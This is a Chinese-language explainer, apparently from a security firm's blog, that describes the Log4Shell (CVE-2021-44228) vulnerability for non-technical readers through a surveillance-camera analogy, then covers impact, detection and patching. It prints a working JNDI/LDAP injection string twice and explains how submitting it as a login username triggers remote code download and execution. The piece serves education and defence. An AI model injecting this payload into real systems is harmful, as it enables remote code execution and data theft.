log4j

【為什麼我們要挑選這則文章】上週爆出 Log4j 的漏洞,全球各大企業都忙得不可開交。

但是 Log4j 到底是什麼?為什麼這個漏洞會產生這麼大的影響?資訊安全評估平台 Cymetrics 將會一一說明背後的原理。(責任編輯:邵元婷)

本文經 Cymetrics Tech Blog 授權

2021 年末資安界最大的新聞莫過於 Log4j 的漏洞,編號為 CVE-2021-44228,又被稱為 Log4Shell,甚至被一些人形容為「核彈級漏洞」,可見這個漏洞的影響程度之深遠。

關於技術上的分析已經有很多篇文章在講解了,但對於不懂技術的人來說,可能只知道這個漏洞很嚴重,卻不知道為什麼嚴重,也不知道原理到底是什麼,因此我想從讓非技術背景的人也能理解的角度出發,寫一篇比較白話的文章。

從監視攝影機談起

我有個朋友叫小明,他家是開雜貨店的。就跟其他商店一樣,在店裡有一支監視攝影機,怕有什麼消費糾紛或是有人來搶劫或偷東西,因此讓攝影機 24 小時全程錄影,真的發生什麼事了,就會有證據留存下來。

但攝影機的鏡頭角度有限,不可能把整間店面的影像都拍下來,就算真的都拍下來了,要存的資料也會太多(除非小明很有錢,買了一堆攝影機)。因此,攝影機只會對準一些非常重要、值得記錄下來的地方,像是收銀台等等。

原本這支攝影機用了十幾年都沒什麼事情,畢竟不就是把影像記錄起來嗎,能有什麼事情?但最近卻突然有人發現一個攝影機的隱藏功能(嚴格來講不是隱藏功能,因為攝影機的說明書上其實有提到,可是大家都懶得看那一百多頁的說明書,所以很少人知道這個功能)

這個功能是什麼呢?那就是除了錄影以外,這台監視攝影機還有個智慧圖片辨識的功能,如果它看到特定的影像,會根據影像的內容去執行相對應的動作。舉例來說好了,這個圖片辨識功能需要把指令寫在 100×100 的板子上,一定要黑底白字加上特定格式,像這個樣子:

log4j

當攝影機看到上面的圖,符合特定格式,就執行了上面的指令:「關機」,就真的關機了!但關機還沒什麼,指令還可以寫說「把攝影機資料全都給我」之類的,再者,攝影機本來就會即時連線到其他伺服器,這個指令也可以對那些伺服器做操作,例如說把上面的資料全都偷下來等等。

總之呢,一旦讓攝影機拍到指定格式的東西,就會幫你執行指令。

這個功能被爆出來以後,血流成河,因為太多地方都有監視攝影機了,因此許多人都帶著這個板子去看看會不會觸發這個功能。攝影機有分型號,只有一台叫做 Log4j 的攝影機會出事,其他不會,但要注意的事情是有些攝影機它雖然不叫做這名字,可其實是從 Log4j 作為基底改出來的,就一樣會出事。

而有些東西儘管不是攝影機也會出事,例如說有台智慧冰箱,號稱內部有微型攝影機可以即時監控冰箱內部狀況,恰巧這個微型攝影機就是 log4j 這個型號的攝影機改版出來的,所以也有同樣的問題。

你想想看,如果監視攝影機出了這個問題,那全台灣、全世界這麼多人用這個型號的監視攝影機,當然會引起軒然大波,只要讓攝影機拍到特定的東西就會執行指令,這可嚴重了。

以上是對於 Log4j 漏洞的簡單比喻,在這個故事中雜貨店就像是你的網站,而攝影機的功能就是拿來紀錄(log)對於網站的那些請求(request),整個故事只要記兩個重點就好:

  1. Log4j 是拿來記錄東西用的
  2. 漏洞原理是只要紀錄某些特定格式的文字,就會觸發一個功能可以執行程式碼

白話的簡易比喻到這邊先結束,想要更了解 Log4j,我們就必須先來to看看什麼是 log。

TO 推薦閱讀:全世界共同對抗 Log4j 超大資安漏洞,志願者抬出電腦來幫忙

有關於 log 這件事

log 的中文翻譯叫做日誌,我相信許多人對這個名詞並不陌生,如果你有跟工程師合作過,他在解決問題時可能會說:「我去看一下 log」;或是如果你們跟合作廠商各執一詞,他說 A 你們說 B,這時候就會說:「不然看一下 log 吧,看看是誰的問題」

當你跟公司的 IT 合作解決電腦上的小問題時,他也會跟你說要去某個地方複製 log 給他,他才知道發生了什麼事情。

log 就像是一台 24 小時全年無休的監視攝影機一樣,需要紀錄起重要事物的狀況。

那為什麼需要有 log 呢?這問題就像是「為什麼要有監視攝影機?」一樣,答案很簡單,因為出事的時候才有證據。就像行車記錄器一樣,裝了以後若不幸發生車禍,就可以協助判斷肇責。

舉個例子,假設我是 A 公司,我們公司是做購物網站的,而通常金流這一塊並不會自己做,而是會找其他做金流的廠商合作,在後端去「串接」金流服務商提供的功能,講白話一點就是:「當使用者要付款時,我把使用者導過去金流廠商的頁面,付款完再導回來我們網站」,相信有在網路上購物的大家應該很熟悉這個流程。

在這個過程中,雙方都必須留下紀錄,確保未來發生問題時有證據可以輔助說明。

例如說有天 A 公司突然接到一堆客訴說沒辦法付款,這時 A 公司直接打電話去金流商,罵說你們這什麼爛服務,怎麼突然壞掉,而金流商此時提供了伺服器的 log,說:「沒有啊,我們這邊從今天早上八點開始就沒有你們導過來的紀錄了,應該是你們的問題吧?」,後來 A 公司檢查了自己這邊的服務,確實是因為今天早上的版本更新出了問題而導致,跟金流商一點關係都沒有。

這就是 log 的重要性,當出事的時候你才有證據可以盤查,才能盡可能還原當初的狀況。

做開發者的大家都知道 log 很重要,所以 log 基本上是必備的,以網站後端來說,他可能會在交易發生錯誤時留下一筆 log,也有可能在發生非預期錯誤時寫下 log,或是用 log 紀錄 request 中的一些欄位,比如說瀏覽器版本好了,給自己公司內部的數據分析系統來使用。

因此 log 是個十分常見的功能。這也是為什麼如果這個功能出事了,造成的後果會非常嚴重。

Log4j 是什麼?

在寫網站後端的程式碼時,會有不同的程式語言可以選擇,例如說 Python、JavaScript、PHP 或是 Java 等等,而這些程式語言都會有些專門做 log 的套件,簡單來說就是有人已經幫你把功能都寫好了,你只要用就好了。

Java 有一個很好用的 log 套件,就叫做 Log4j。而這個套件是隸屬於 Apache 軟體基金會底下,因此全名又叫做 Apache Log4j。

Apache 底下有很多不同的軟體跟套件,例如說:

  • Apache HTTP Server(大家最常看到的是這個)
  • Apache Cassandra
  • Apache Tomcat
  • Apache Hadoop
  • Apache Struts

所以 Apache Server 跟 Apache Log4j 完全是不同的兩個東西,我知道你用 Apache Server,跟你有沒有用 Log4j 是兩件事情。

這次出問題的套件就是 Log4j,而出問題的原因跟我開頭講的一樣,有一個鮮為人知的功能有著安全性的漏洞,只要 Log4j 在記錄 log 時記錄到某個特定格式的東西,就會去執行相對應的程式碼,就像開頭提的那個「關機」的板板一樣。

再講更詳細一點,其實並不是直接執行程式碼,那一段特定格式長得像這樣:

${jndi:ldap://cymetrics.io/test}

先不要管那些你看不懂的字,你可以很明顯看到裡面有一段東西很像網址,對,它就是網址,當 Log4j 紀錄上面那一串字的時候,它發現這串字符合特定格式,就會去裡面的網址(cymetrics.io/test)下載程式碼然後執行,因此這是一個 RCE(Remote Code Execution,遠端程式碼執行)漏洞。

前面我有提過後端會記錄許多東西,假設今天有個後端服務是用 Java 寫的,而它用 Log4j 記錄了使用者登入失敗時輸入的帳號,這時我只要用 ${jndi:ldap://cymetrics.io/test} 這個帳號登入,就能夠觸發 Log4j 的漏洞,讓它執行我準備好的程式碼。

只要能執行程式碼,我就可以做很多事情,例如說把伺服器上的資料偷走,或是安裝挖礦軟體幫我挖礦等等。

為什麼這個漏洞如此嚴重?

第一,Log4j 這個套件使用的人數極多,只要你有用 Java,幾乎都會用這個套件來紀錄 log

第二,觸發方式容易,你只要在 request 的各個地方塞滿這些有問題的字串,server 只要有記錄下來其中一個,就能夠觸發漏洞,而前面我們有提到紀錄 log 本來就是家常便飯的事情

第三,能造成的影響極大,漏洞被觸發之後就是最嚴重的 RCE,可以直接執行任意程式碼

結合以上這三點,讓它成了一個核彈級的漏洞。到底有多嚴重,看看這些新聞標題就知道:

  1. Apache Log4j 漏洞影響巨大,美國資安主管機關通令政府單位立即修復
  2. 微軟、蘋果都受波及!日誌框架Apache Log4j爆漏洞,堪稱近10年最大資安威脅
  3. 【Log4Shell漏洞資訊更新】Log4j 2.15.0修補不全、Apache再釋2.16.0新版,國家駭客已開始行動

還有一點差點忘了提,有許多其他的軟體也都用了 Log4j 這個套件,因此也會有問題,國外有人整理出一份被影響的清單:Log4Shell log4j vulnerability (CVE-2021-44228 / CVE-2021-45046) – cheat-sheet reference guide,洋洋灑灑一大片,像是 Minecraft 這個遊戲的伺服器也有用到 log4j,所以也被這個漏洞給影響。

TO 推薦閱讀:Log4j 影響到火星去了 !NASA 透露火星機智號也出現可能的資安漏洞 

該怎麼知道我有沒有被這個漏洞影響?

可以先確認自己家的程式有沒有用到 Log4j 這個套件以及套件的版本,也需要一併檢查有沒有使用上面那張清單列出來的其他軟體。

如果你是工程師,也可以用一些現有的工具檢測是否受到漏洞影響,像是:log4j-scan 或是 jfrog 提供的 log4j-tools 等等。

或如果真的不知道該如何處理,也可以聯絡我們,看我們可以怎樣幫助你。

該如何修補?

由瑞士 CERT 發表的這篇文章:Zero-Day Exploit Targeting Popular Java Library Log4j 中,有給了一張從各個環節去防禦的圖:

logj4

如果來不及把根本原因修掉,可以先上 WAF(Web Application Firewall),簡單來說就是針對網站的防火牆,把那些惡意的字串擋掉,例如說 Cloudflare 就在第一時間增加了 WAF 的規則加以阻擋,不過也有很多人在研究怎麼繞過 WAF 的規則,因此這是治標不治本的做法。

治本的方法就是把 Log4j 停用或是升版,升級到不會被這個漏洞影響的版本,但有些時候第一時間的改版可能沒有把漏洞完全補掉,因此記得更新完以後還是要密切注意是否有更新的版本。例如說在這篇文章寫完後過沒多久,官方就釋出了第三個 patch 修復其他相關問題:Apache Issues 3rd Patch to Fix New High-Severity Log4j Vulnerability

結語

一個很多人用的套件,加上一個很常見的功能,再加上一個很簡單的攻擊方式以及嚴重的後果,就成了一個可以被載入史冊的漏洞。

文中有些比喻為了不要講得太細節,會是精簡過後的版本,不一定能完全涵蓋本來的漏洞,在轉換成故事比喻的過程中一定會有一些遺漏的部分,但對於整體的理解我覺得影響不大。

如果你想了解更技術的細節以及時間軸,很推薦這一支影片:Hackers vs. Developers // CVE-2021-44228 Log4Shell,裡面講得很清楚,也探討了開發者與資安從業人員的關係。

最後,希望這篇文章能讓不懂技術的大家更了解 Log4shell 是怎樣的漏洞,以及這個漏洞為什麼如此嚴重。文中若有錯誤也請不吝留言指正,感謝。

作者介紹:Huli,Cymetrics 資安工程師
Cymetrics 為全面的 SaaS 持續性資訊安全評估平台,協助企業提高其對網絡曝險的可視性,並以更敏捷及彈性化的方式管理資安風險。

同時設計從駭客視角出發,提供由外而內、由廣而深的全方位資安檢測,共有三種層級,分別為曝險評估即服務、弱點評估即服務、滲透測試即服務。

(本文經 Cymetrics Tech Blog 授權刊登,並同意 TechOrange 編寫導讀與修訂標題,原文標題為〈從監視攝影機理解 Log4j 跟 Log4Shell 漏洞〉。圖片來源:Shutterstock)